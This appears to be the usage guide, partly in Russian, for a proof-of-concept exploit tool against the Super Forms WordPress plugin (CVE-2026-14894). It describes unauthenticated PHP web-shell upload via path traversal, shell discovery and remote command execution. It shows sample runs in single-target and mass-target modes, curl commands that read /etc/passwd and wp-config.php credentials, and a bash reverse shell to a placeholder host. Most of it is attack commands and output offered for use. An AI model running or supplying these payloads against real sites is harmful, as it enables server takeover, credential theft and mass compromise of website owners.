[1] Получение nonce (nopriv)
    POST /wp-admin/admin-ajax.php
    action=super_create_nonce
         │
         ▼
[2] Загрузка PHP shell через datauristring (без аутентификации)
    POST /wp-admin/admin-ajax.php
    action=super_submit_form
    data={"sf_upload_field":{"files":[{"datauristring":"data:image/png;base64,..."}]}}
         │
         ├── Path Traversal → /wp-content/themes/<theme>/shell.php  ← основной
         │                                                             (всегда выполняется)
         │
         └── Случайная папка → /wp-content/uploads/superforms/...      ← запасной
                              (выполнение зависит от политики сервера)
         │
         ▼
[3] Обнаружение shell
    ├── S0: media?parent=entry_id  (WP REST)
    ├── S1: REST /wp/v2/media search (без аутентификации)
    ├── S2: Apache/nginx листинг каталогов
    └── S3: WP sitemap attachment XML
         │
         ▼
[4] RCE → curl "http://target/wp-content/themes/theme/shell.php?c=id"

pip install requests urllib3

python cve-2026-14894.py

  CVE-2026-14894  │  Super Forms ≤ 6.3.313
  Unauthenticated File Upload → Remote Code Execution
  Researcher: andrea bocchetti  |  PoC: Beelze

  1  Single target
  2  Mass targets (file)

  Mode (1/2): 1

  Target URL               : https://target.com
  Form ID  (enter=auto)    :                      ← leave blank = auto-discover
  Shell name (enter=random):                      ← leave blank = random name
  Shell file (enter=built-in):                    ← leave blank = built-in shell
  WP user  (optional/REST) :                      ← optional, improves discovery
  WP pass  (optional/REST) :                      ← optional

  ──────────────────────────────────────────────────────────────
  TARGET  https://target.com
  ──────────────────────────────────────────────────────────────

  Super Forms v6.3.301  vulnerable ≤6.3.313
  [1/3] Mint nonce  ......................  ✔  OK  a3f9e1c...  sid=sess_ab...
  [2/3] Upload [xkqmhzjt.php]  ..........  ✔  OK  form_id=42  entry_id=137
  [3/3] Shell discovery  ................  ✔  FOUND → RCE [path traversal → theme]

  ╔══════════════════════════════════════════════════════════════╗
  ║  ✓  PWNED → RCE CONFIRMED                                   ║
  ║                                                              ║
  ║  Shell  »  https://target.com/wp-content/themes/astra/shell ║
  ║  RCE    »  uid=33(www-data) gid=33(www-data)                ║
  ║                                                              ║
  ║  $ curl "https://target.com/...shell.php?c=whoami"          ║
  ╚══════════════════════════════════════════════════════════════╝

  Mode (1/2): 2

  Targets file             : targets.txt     ← one URL per line, # = comment
  Form ID  (enter=auto)    :
  Threads  (enter=5)       : 10
  Shell file (enter=built-in):
  WP user  (optional/REST) :
  WP pass  (optional/REST) :

# Bug bounty scope
https://site1.com
https://site2.com
https://site3.com

  ══════════════════════════════════════════════════════════════
  MASS SCAN  3 targets  threads=10
  ══════════════════════════════════════════════════════════════

  [01/03]  https://site1.com  ....  RCE     uid=33(www-data)
           ↳ https://site1.com/wp-content/themes/astra/xkqmhzjt.php
  [02/03]  https://site2.com  ....  WRITE   no exec
           ↳ https://site2.com/wp-content/uploads/superforms/2026/07/.../shell.php
  [03/03]  https://site3.com  ....  FAIL    plugin inactive / blocked

  ══════════════════════════════════════════════════════════════
  SUMMARY  1 RCE  1 WRITE_ONLY  0 MAYBE  / 3 total
  ══════════════════════════════════════════════════════════════

  RCE SHELLS:
  »  https://site1.com/wp-content/themes/astra/xkqmhzjt.php  (uid=33...)

  Shell file (enter=built-in): /path/to/myshell.php

# Выполнение команды
curl -sk "https://target.com/wp-content/themes/theme/shell.php?c=id"
curl -sk "https://target.com/wp-content/themes/theme/shell.php?c=cat+/etc/passwd"

# Чтение конфигурации WordPress (учётные данные, БД)
curl -sk "https://target.com/.../shell.php?c=cat+/var/www/html/wp-config.php"

# Реверс-шелл
curl -sk "https://target.com/.../shell.php" --data "c=bash+-c+'bash+-i+>%26+/dev/tcp/LHOST/LPORT+0>%261'"

~/Documents/CVE-2026-14894/result_YYYYMMDD_HHMMSS.json